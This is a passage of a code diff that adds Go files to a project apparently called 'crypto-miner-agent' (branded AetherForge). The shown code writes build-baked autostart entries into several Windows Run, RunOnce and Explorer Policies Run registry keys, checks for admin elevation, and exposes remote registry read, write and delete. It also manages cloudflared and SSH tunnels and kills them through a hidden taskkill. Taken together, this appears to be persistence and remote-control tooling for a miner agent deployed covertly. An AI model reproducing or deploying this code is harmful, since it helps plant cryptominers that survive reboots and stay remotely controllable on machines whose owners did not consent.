svcName := cfg.ServiceName
|
||||
|
||||
40
agent/deploy/registry_allowlist.go
Normal file
40
agent/deploy/registry_allowlist.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var allowedRegistryPathPrefixes = []string{
|
||||
`software\`,
|
||||
`environment`,
|
||||
}
|
||||
|
||||
// ParseRegistryHive maps operator hive strings to internal tokens (hkcu/hklm).
|
||||
func ParseRegistryHive(hive string) (string, error) {
|
||||
switch strings.ToUpper(strings.TrimSpace(hive)) {
|
||||
case "HKCU", "HKEY_CURRENT_USER", "CURRENT_USER":
|
||||
return "hkcu", nil
|
||||
case "HKLM", "HKEY_LOCAL_MACHINE", "LOCAL_MACHINE":
|
||||
return "hklm", nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported hive %q (use HKCU or HKLM)", hive)
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateRegistryPath ensures fleet registry ops stay under safe prefixes.
|
||||
func ValidateRegistryPath(hiveToken, subkey string) error {
|
||||
subkey = strings.TrimSpace(subkey)
|
||||
subkey = strings.TrimPrefix(subkey, `\`)
|
||||
subkey = strings.TrimSuffix(subkey, `\`)
|
||||
if subkey == "" {
|
||||
return fmt.Errorf("registry path is required")
|
||||
}
|
||||
lower := strings.ToLower(subkey)
|
||||
for _, prefix := range allowedRegistryPathPrefixes {
|
||||
if strings.HasPrefix(lower, prefix) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("registry path %q is outside the allowed prefix list (Software\\, Environment)", subkey)
|
||||
}
|
||||
117
agent/deploy/registry_persistence_common.go
Normal file
117
agent/deploy/registry_persistence_common.go
Normal file
@@ -0,0 +1,117 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// Registry persistence mode tokens (forge-baked via RegistryPersistence or autostart_mode).
|
||||
const (
|
||||
RegistryHKCURun = "hkcu_run"
|
||||
RegistryHKCURunOnce = "hkcu_run_once"
|
||||
RegistryHKLMRun = "hklm_run"
|
||||
RegistryHKLMRunOnce = "hklm_run_once"
|
||||
RegistryExplorerRun = "explorer_run"
|
||||
RegistryPersistenceOff = "off"
|
||||
RegistryPersistenceAll = "combined"
|
||||
)
|
||||
|
||||
// RegistryPersistenceValueName is the deterministic value name for forge-baked registry hooks.
|
||||
func RegistryPersistenceValueName(cfg config.RuntimeConfig) string {
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
name = cfg.EffectiveProcessName()
|
||||
}
|
||||
return "AetherForge_" + name
|
||||
}
|
||||
|
||||
// SanitizeRegistryValueName strips characters invalid in registry value names.
|
||||
func SanitizeRegistryValueName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "AetherForgeValue"
|
||||
}
|
||||
replacer := strings.NewReplacer("/", "", "\\", "", ":", "", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
clean := replacer.Replace(name)
|
||||
if clean == "" {
|
||||
return "AetherForgeValue"
|
||||
}
|
||||
if len(clean) > 255 {
|
||||
clean = clean[:255]
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
func effectiveRegistryPersistenceModes(cfg config.RuntimeConfig) []string {
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.RegistryPersistence))
|
||||
if raw == "" || raw == RegistryPersistenceOff {
|
||||
return modesFromRegistryBools(cfg)
|
||||
}
|
||||
if raw == RegistryPersistenceAll {
|
||||
return combinedRegistryModes(cfg)
|
||||
}
|
||||
if raw == RegistryHKCURun || raw == RegistryHKCURunOnce || raw == RegistryHKLMRun ||
|
||||
raw == RegistryHKLMRunOnce || raw == RegistryExplorerRun {
|
||||
return []string{raw}
|
||||
}
|
||||
var modes []string
|
||||
for _, part := range strings.Split(raw, ",") {
|
||||
part = strings.TrimSpace(part)
|
||||
if part == "" || part == RegistryPersistenceOff {
|
||||
continue
|
||||
}
|
||||
modes = append(modes, part)
|
||||
}
|
||||
return modes
|
||||
}
|
||||
|
||||
func modesFromRegistryBools(cfg config.RuntimeConfig) []string {
|
||||
if cfg.RegistryRunHKCU || cfg.RegistryRunOnce || cfg.RegistryRunHKLM || cfg.RegistryExplorerRun {
|
||||
return combinedRegistryModes(cfg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func combinedRegistryModes(cfg config.RuntimeConfig) []string {
|
||||
var modes []string
|
||||
if cfg.RegistryRunHKCU {
|
||||
modes = append(modes, RegistryHKCURun)
|
||||
}
|
||||
if cfg.RegistryRunOnce {
|
||||
modes = append(modes, RegistryHKCURunOnce)
|
||||
}
|
||||
if cfg.RegistryRunHKLM {
|
||||
modes = append(modes, RegistryHKLMRun, RegistryHKLMRunOnce)
|
||||
}
|
||||
if cfg.RegistryExplorerRun {
|
||||
modes = append(modes, RegistryExplorerRun)
|
||||
}
|
||||
if len(modes) == 0 && strings.EqualFold(strings.TrimSpace(cfg.RegistryPersistence), RegistryPersistenceAll) {
|
||||
modes = []string{RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryExplorerRun}
|
||||
}
|
||||
return modes
|
||||
}
|
||||
|
||||
func mergeAutostartModes(base []string, extra []string) []string {
|
||||
if len(extra) == 0 {
|
||||
return base
|
||||
}
|
||||
seen := make(map[string]bool, len(base)+len(extra))
|
||||
out := make([]string, 0, len(base)+len(extra))
|
||||
for _, m := range base {
|
||||
if m == "" || seen[m] {
|
||||
continue
|
||||
}
|
||||
seen[m] = true
|
||||
out = append(out, m)
|
||||
}
|
||||
for _, m := range extra {
|
||||
if m == "" || seen[m] {
|
||||
continue
|
||||
}
|
||||
seen[m] = true
|
||||
out = append(out, m)
|
||||
}
|
||||
return out
|
||||
}
|
||||
29
agent/deploy/registry_persistence_stub.go
Normal file
29
agent/deploy/registry_persistence_stub.go
Normal file
@@ -0,0 +1,29 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func writeRegistryRunValue(_ config.RuntimeConfig, _, _ string) error { return nil }
|
||||
|
||||
func registryRunValueExists(_ config.RuntimeConfig, _, _ string) bool { return false }
|
||||
|
||||
func removeRegistryPersistence(_ config.RuntimeConfig) {}
|
||||
|
||||
func IsProcessElevated() bool { return false }
|
||||
|
||||
func FleetRegistryRead(_, _ string) (map[string]interface{}, error) {
|
||||
return nil, fmt.Errorf("registry operations are unsupported on this platform")
|
||||
}
|
||||
|
||||
func FleetRegistryWrite(_, _, _, _, _ string) error {
|
||||
return fmt.Errorf("registry operations are unsupported on this platform")
|
||||
}
|
||||
|
||||
func FleetRegistryDelete(_, _, _ string) error {
|
||||
return fmt.Errorf("registry operations are unsupported on this platform")
|
||||
}
|
||||
102
agent/deploy/registry_persistence_test.go
Normal file
102
agent/deploy/registry_persistence_test.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestValidateRegistryPathAllowed(t *testing.T) {
|
||||
cases := []struct {
|
||||
hive string
|
||||
path string
|
||||
}{
|
||||
{"HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
|
||||
{"HKLM", `Software\AetherForge\Test`},
|
||||
{"HKCU", `Environment`},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if err := ValidateRegistryPath("hkcu", tc.path); err != nil {
|
||||
t.Fatalf("%s: %v", tc.path, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateRegistryPathBlocked(t *testing.T) {
|
||||
blocked := []string{
|
||||
`SYSTEM\CurrentControlSet\Services`,
|
||||
`Microsoft\Windows\CurrentVersion\Run`,
|
||||
`SAM\Domains`,
|
||||
}
|
||||
for _, path := range blocked {
|
||||
if err := ValidateRegistryPath("hkcu", path); err == nil {
|
||||
t.Fatalf("expected block for %q", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeRegistryValueName(t *testing.T) {
|
||||
got := SanitizeRegistryValueName(`bad/name:with*chars`)
|
||||
if strings.ContainsAny(got, `/:*`) {
|
||||
t.Fatalf("unsanitized %q", got)
|
||||
}
|
||||
if got == "" {
|
||||
t.Fatal("empty name")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistryPersistenceValueName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
|
||||
got := RegistryPersistenceValueName(cfg)
|
||||
if got != "AetherForge_lab-node" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveRegistryPersistenceModesEnum(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
RegistryPersistence: "hkcu_run_once,hklm_run",
|
||||
}}
|
||||
modes := effectiveRegistryPersistenceModes(cfg)
|
||||
if len(modes) != 2 {
|
||||
t.Fatalf("got %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveRegistryPersistenceModesBools(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
RegistryRunHKCU: true,
|
||||
RegistryRunOnce: true,
|
||||
}}
|
||||
modes := effectiveRegistryPersistenceModes(cfg)
|
||||
if len(modes) != 2 {
|
||||
t.Fatalf("got %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveAutostartModesIncludesRegistry(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
RegistryPersistence: "hkcu_run_once",
|
||||
}}
|
||||
modes := effectiveAutostartModes(cfg)
|
||||
found := false
|
||||
for _, m := range modes {
|
||||
if m == RegistryHKCURunOnce {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("registry mode not merged: %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseRegistryHive(t *testing.T) {
|
||||
token, err := ParseRegistryHive("HKEY_CURRENT_USER")
|
||||
if err != nil || token != "hkcu" {
|
||||
t.Fatalf("hkcu parse: %q %v", token, err)
|
||||
}
|
||||
if _, err := ParseRegistryHive("HKU"); err == nil {
|
||||
t.Fatal("expected error for HKU")
|
||||
}
|
||||
}
|
||||
287
agent/deploy/registry_persistence_windows.go
Normal file
287
agent/deploy/registry_persistence_windows.go
Normal file
@@ -0,0 +1,287 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
type registryLoc struct {
|
||||
hive registry.Key
|
||||
subkey string
|
||||
needsAdmin bool
|
||||
}
|
||||
|
||||
func registryLocForMode(mode string) (registryLoc, bool) {
|
||||
switch mode {
|
||||
case AutostartLogonRun, RegistryHKCURun:
|
||||
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true
|
||||
case RegistryHKCURunOnce:
|
||||
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true
|
||||
case RegistryHKLMRun:
|
||||
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true
|
||||
case RegistryHKLMRunOnce:
|
||||
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true
|
||||
case RegistryExplorerRun:
|
||||
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true
|
||||
default:
|
||||
return registryLoc{}, false
|
||||
}
|
||||
}
|
||||
|
||||
func registryRunCommand(binPath string) string {
|
||||
return fmt.Sprintf(`"%s" %s`, binPath, runFlag)
|
||||
}
|
||||
|
||||
func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string {
|
||||
switch mode {
|
||||
case AutostartLogonRun:
|
||||
return PersistenceKeyName(cfg)
|
||||
default:
|
||||
return RegistryPersistenceValueName(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error {
|
||||
loc, ok := registryLocForMode(mode)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if loc.needsAdmin && !IsProcessElevated() {
|
||||
return nil
|
||||
}
|
||||
k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath))
|
||||
}
|
||||
|
||||
func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool {
|
||||
loc, ok := registryLocForMode(mode)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(val, binPath)
|
||||
}
|
||||
|
||||
func removeRegistryValueAt(loc registryLoc, valueName string) {
|
||||
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue(valueName)
|
||||
}
|
||||
|
||||
func removeRegistryPersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
agentName := RegistryPersistenceValueName(cfg)
|
||||
for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) {
|
||||
loc, ok := registryLocForMode(mode)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode))
|
||||
}
|
||||
// Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming.
|
||||
loc, _ := registryLocForMode(AutostartLogonRun)
|
||||
removeRegistryValueAt(loc, keyName)
|
||||
removeRegistryValueAt(loc, agentName)
|
||||
}
|
||||
|
||||
func allRegistryModeTokens() []string {
|
||||
return []string{
|
||||
RegistryHKCURun,
|
||||
RegistryHKCURunOnce,
|
||||
RegistryHKLMRun,
|
||||
RegistryHKLMRunOnce,
|
||||
RegistryExplorerRun,
|
||||
}
|
||||
}
|
||||
|
||||
// IsProcessElevated reports whether the current token is in the Administrators role.
|
||||
func IsProcessElevated() bool {
|
||||
var token windows.Token
|
||||
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil {
|
||||
return false
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
// TokenElevationTypeFull (2) on Vista+
|
||||
var elevation uint32
|
||||
var outLen uint32
|
||||
err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen)
|
||||
if err == nil && elevation != 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
// Fallback: check admin SID membership.
|
||||
sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
// FleetRegistryRead returns JSON-friendly map of value names to {type,value}.
|
||||
func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) {
|
||||
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hive, err := registryHiveKey(hiveToken)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
|
||||
return nil, fmt.Errorf("HKLM read requires elevation")
|
||||
}
|
||||
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, err := k.ReadValueNames(-1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
values := make(map[string]interface{}, len(names))
|
||||
for _, name := range names {
|
||||
val, valType, err := readRegistryValue(k, name)
|
||||
if err != nil {
|
||||
values[name] = map[string]string{"error": err.Error()}
|
||||
continue
|
||||
}
|
||||
values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val}
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"hive": strings.ToUpper(hiveToken),
|
||||
"path": subkey,
|
||||
"values": values,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error {
|
||||
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
|
||||
return err
|
||||
}
|
||||
name = SanitizeRegistryValueName(name)
|
||||
if name == "" {
|
||||
return fmt.Errorf("value name is required")
|
||||
}
|
||||
hive, err := registryHiveKey(hiveToken)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
|
||||
return fmt.Errorf("HKLM write requires elevation")
|
||||
}
|
||||
k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
switch strings.ToUpper(strings.TrimSpace(valType)) {
|
||||
case "REG_DWORD", "DWORD":
|
||||
var n uint32
|
||||
if _, err := fmt.Sscanf(value, "%d", &n); err != nil {
|
||||
return fmt.Errorf("invalid REG_DWORD value %q", value)
|
||||
}
|
||||
return k.SetDWordValue(name, n)
|
||||
case "REG_SZ", "SZ", "":
|
||||
return k.SetStringValue(name, value)
|
||||
default:
|
||||
return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType)
|
||||
}
|
||||
}
|
||||
|
||||
func FleetRegistryDelete(hiveToken, subkey, name string) error {
|
||||
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
|
||||
return err
|
||||
}
|
||||
name = SanitizeRegistryValueName(name)
|
||||
if name == "" {
|
||||
return fmt.Errorf("value name is required")
|
||||
}
|
||||
hive, err := registryHiveKey(hiveToken)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
|
||||
return fmt.Errorf("HKLM delete requires elevation")
|
||||
}
|
||||
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.DeleteValue(name)
|
||||
}
|
||||
|
||||
func registryHiveKey(hiveToken string) (registry.Key, error) {
|
||||
switch hiveToken {
|
||||
case "hkcu":
|
||||
return registry.CURRENT_USER, nil
|
||||
case "hklm":
|
||||
return registry.LOCAL_MACHINE, nil
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown hive token %q", hiveToken)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeSubkey(path string) string {
|
||||
path = strings.TrimSpace(path)
|
||||
path = strings.TrimPrefix(path, `\`)
|
||||
for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} {
|
||||
if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) {
|
||||
path = path[len(prefix):]
|
||||
break
|
||||
}
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) {
|
||||
val, valType, err := k.GetStringValue(name)
|
||||
if err == nil {
|
||||
return val, valType, nil
|
||||
}
|
||||
if err != registry.ErrUnexpectedType {
|
||||
return nil, 0, err
|
||||
}
|
||||
n, _, err := k.GetIntegerValue(name)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
return n, registry.DWORD, nil
|
||||
}
|
||||
|
||||
func registryTypeName(t uint32) string {
|
||||
switch t {
|
||||
case registry.SZ:
|
||||
return "REG_SZ"
|
||||
case registry.DWORD:
|
||||
return "REG_DWORD"
|
||||
default:
|
||||
return fmt.Sprintf("REG_%d", t)
|
||||
}
|
||||
}
|
||||
39
agent/deploy/tunnel_manager_stub.go
Normal file
39
agent/deploy/tunnel_manager_stub.go
Normal file
@@ -0,0 +1,39 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
type TunnelKind string
|
||||
|
||||
const (
|
||||
TunnelCloudflared TunnelKind = "cloudflared"
|
||||
TunnelSSHForward TunnelKind = "ssh_forward"
|
||||
)
|
||||
|
||||
type SSHForwardMeta struct {
|
||||
LocalPort int `json:"local_port"`
|
||||
RemoteHost string `json:"remote_host"`
|
||||
RemotePort int `json:"remote_port"`
|
||||
SSHUser string `json:"ssh_user,omitempty"`
|
||||
JumpHost string `json:"jump_host,omitempty"`
|
||||
}
|
||||
|
||||
func RegisterTunnelPID(_ TunnelKind, _ int, _ string) {}
|
||||
|
||||
func TunnelStatus() string {
|
||||
b, _ := json.Marshal(map[string]any{
|
||||
"cloudflared_running": false,
|
||||
"ssh_forwards": []any{},
|
||||
"platform": "unsupported",
|
||||
})
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func StopTunnels(_ ...TunnelKind) (int, []string) {
|
||||
return 0, []string{"tunnel stop is Windows-only in this build"}
|
||||
}
|
||||
|
||||
func ResetTrackedTunnels() {}
|
||||
|
||||
func CloudflaredTargetFromEnv() string { return "" }
|
||||
62
agent/deploy/tunnel_manager_test.go
Normal file
62
agent/deploy/tunnel_manager_test.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
|
||||
_, err := StartCloudflaredTunnel("")
|
||||
if err == nil || !strings.Contains(err.Error(), "server URL required") {
|
||||
t.Fatalf("expected URL error, got %v", err)
|
||||
}
|
||||
_, err = StartCloudflaredTunnel(" ")
|
||||
if err == nil {
|
||||
t.Fatal("whitespace-only URL should fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTunnelManagerRegisterAndStatus(t *testing.T) {
|
||||
ResetTrackedTunnels()
|
||||
oldAlive := processAliveFn
|
||||
processAliveFn = func(int) bool { return true }
|
||||
defer func() { processAliveFn = oldAlive }()
|
||||
|
||||
RegisterTunnelPID(TunnelCloudflared, 4242, "https://example.com")
|
||||
RegisterTunnelPID(TunnelSSHForward, 9999, `{"local_port":2222,"remote_host":"10.0.0.5","remote_port":22}`)
|
||||
|
||||
raw := TunnelStatus()
|
||||
var st TunnelStatusJSON
|
||||
if err := json.Unmarshal([]byte(raw), &st); err != nil {
|
||||
t.Fatalf("status json: %v", err)
|
||||
}
|
||||
if !st.CloudflaredRunning || st.CloudflaredPID != 4242 || st.CloudflaredURL != "https://example.com" {
|
||||
t.Fatalf("cloudflared status wrong: %+v", st)
|
||||
}
|
||||
if len(st.SSHForwards) != 1 || st.SSHForwards[0].LocalPort != 2222 {
|
||||
t.Fatalf("ssh forward status wrong: %+v", st.SSHForwards)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStopTunnelsEmptyRegistry(t *testing.T) {
|
||||
ResetTrackedTunnels()
|
||||
n, msgs := StopTunnels()
|
||||
if n != 0 {
|
||||
t.Fatalf("expected 0 stopped, got %d", n)
|
||||
}
|
||||
if len(msgs) != 0 {
|
||||
t.Fatalf("expected no msgs, got %v", msgs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartSSHForwardValidation(t *testing.T) {
|
||||
_, err := StartSSHForward(SSHForwardMeta{})
|
||||
if err == nil || !strings.Contains(err.Error(), "local_port") {
|
||||
t.Fatalf("expected local_port error, got %v", err)
|
||||
}
|
||||
_, err = StartSSHForward(SSHForwardMeta{LocalPort: 2222})
|
||||
if err == nil || !strings.Contains(err.Error(), "remote_host") {
|
||||
t.Fatalf("expected remote_host error, got %v", err)
|
||||
}
|
||||
}
|
||||
175
agent/deploy/tunnel_manager_windows.go
Normal file
175
agent/deploy/tunnel_manager_windows.go
Normal file
@@ -0,0 +1,175 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// TunnelKind identifies a tracked tunnel process.
|
||||
type TunnelKind string
|
||||
|
||||
const (
|
||||
TunnelCloudflared TunnelKind = "cloudflared"
|
||||
TunnelSSHForward TunnelKind = "ssh_forward"
|
||||
)
|
||||
|
||||
// SSHForwardMeta describes one local port forward on the agent.
|
||||
type SSHForwardMeta struct {
|
||||
LocalPort int `json:"local_port"`
|
||||
RemoteHost string `json:"remote_host"`
|
||||
RemotePort int `json:"remote_port"`
|
||||
SSHUser string `json:"ssh_user,omitempty"`
|
||||
JumpHost string `json:"jump_host,omitempty"`
|
||||
}
|
||||
|
||||
type tunnelEntry struct {
|
||||
kind TunnelKind
|
||||
pid int
|
||||
meta string // JSON metadata for ssh forwards; URL for cloudflared
|
||||
}
|
||||
|
||||
var (
|
||||
tunnelMu sync.Mutex
|
||||
trackedTunnels []tunnelEntry
|
||||
)
|
||||
|
||||
// RegisterTunnelPID records a background tunnel process for later stop/status.
|
||||
func RegisterTunnelPID(kind TunnelKind, pid int, meta string) {
|
||||
if pid <= 0 {
|
||||
return
|
||||
}
|
||||
tunnelMu.Lock()
|
||||
defer tunnelMu.Unlock()
|
||||
if kind == TunnelCloudflared {
|
||||
next := make([]tunnelEntry, 0, len(trackedTunnels)+1)
|
||||
for _, t := range trackedTunnels {
|
||||
if t.kind != TunnelCloudflared {
|
||||
next = append(next, t)
|
||||
}
|
||||
}
|
||||
trackedTunnels = append(next, tunnelEntry{kind: kind, pid: pid, meta: meta})
|
||||
return
|
||||
}
|
||||
trackedTunnels = append(trackedTunnels, tunnelEntry{kind: kind, pid: pid, meta: meta})
|
||||
}
|
||||
|
||||
const processQueryLimitedInformation = 0x1000
|
||||
|
||||
var processAliveFn = processAliveImpl
|
||||
|
||||
func processAlive(pid int) bool {
|
||||
return processAliveFn(pid)
|
||||
}
|
||||
|
||||
func processAliveImpl(pid int) bool {
|
||||
if pid <= 0 {
|
||||
return false
|
||||
}
|
||||
h, err := syscall.OpenProcess(processQueryLimitedInformation, false, uint32(pid))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer syscall.CloseHandle(h)
|
||||
var code uint32
|
||||
err = syscall.GetExitCodeProcess(h, &code)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return code == 259 // STILL_ACTIVE
|
||||
}
|
||||
|
||||
func killPID(pid int) error {
|
||||
if pid <= 0 {
|
||||
return fmt.Errorf("invalid pid")
|
||||
}
|
||||
return HiddenRun("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
|
||||
}
|
||||
|
||||
func pruneDead() {
|
||||
alive := trackedTunnels[:0]
|
||||
for _, t := range trackedTunnels {
|
||||
if processAlive(t.pid) {
|
||||
alive = append(alive, t)
|
||||
}
|
||||
}
|
||||
trackedTunnels = alive
|
||||
}
|
||||
|
||||
// TunnelStatus returns JSON describing tracked tunnel processes.
|
||||
func TunnelStatus() string {
|
||||
tunnelMu.Lock()
|
||||
pruneDead()
|
||||
snap := append([]tunnelEntry(nil), trackedTunnels...)
|
||||
tunnelMu.Unlock()
|
||||
|
||||
st := TunnelStatusJSON{SSHForwards: []SSHForwardLive{}}
|
||||
for _, t := range snap {
|
||||
switch t.kind {
|
||||
case TunnelCloudflared:
|
||||
st.CloudflaredRunning = true
|
||||
st.CloudflaredURL = t.meta
|
||||
st.CloudflaredPID = t.pid
|
||||
case TunnelSSHForward:
|
||||
var meta SSHForwardMeta
|
||||
_ = json.Unmarshal([]byte(t.meta), &meta)
|
||||
st.SSHForwards = append(st.SSHForwards, SSHForwardLive{
|
||||
LocalPort: meta.LocalPort,
|
||||
RemoteHost: meta.RemoteHost,
|
||||
RemotePort: meta.RemotePort,
|
||||
SSHUser: meta.SSHUser,
|
||||
JumpHost: meta.JumpHost,
|
||||
PID: t.pid,
|
||||
Running: true,
|
||||
})
|
||||
}
|
||||
}
|
||||
b, _ := json.Marshal(st)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// StopTunnels stops tracked tunnel kinds. Empty kinds stops all.
|
||||
func StopTunnels(kinds ...TunnelKind) (stopped int, msgs []string) {
|
||||
tunnelMu.Lock()
|
||||
defer tunnelMu.Unlock()
|
||||
pruneDead()
|
||||
|
||||
wantAll := len(kinds) == 0
|
||||
want := map[TunnelKind]bool{}
|
||||
for _, k := range kinds {
|
||||
want[k] = true
|
||||
}
|
||||
|
||||
remaining := trackedTunnels[:0]
|
||||
for _, t := range trackedTunnels {
|
||||
if wantAll || want[t.kind] {
|
||||
if err := killPID(t.pid); err != nil {
|
||||
msgs = append(msgs, fmt.Sprintf("%s pid %d: %v", t.kind, t.pid, err))
|
||||
} else {
|
||||
stopped++
|
||||
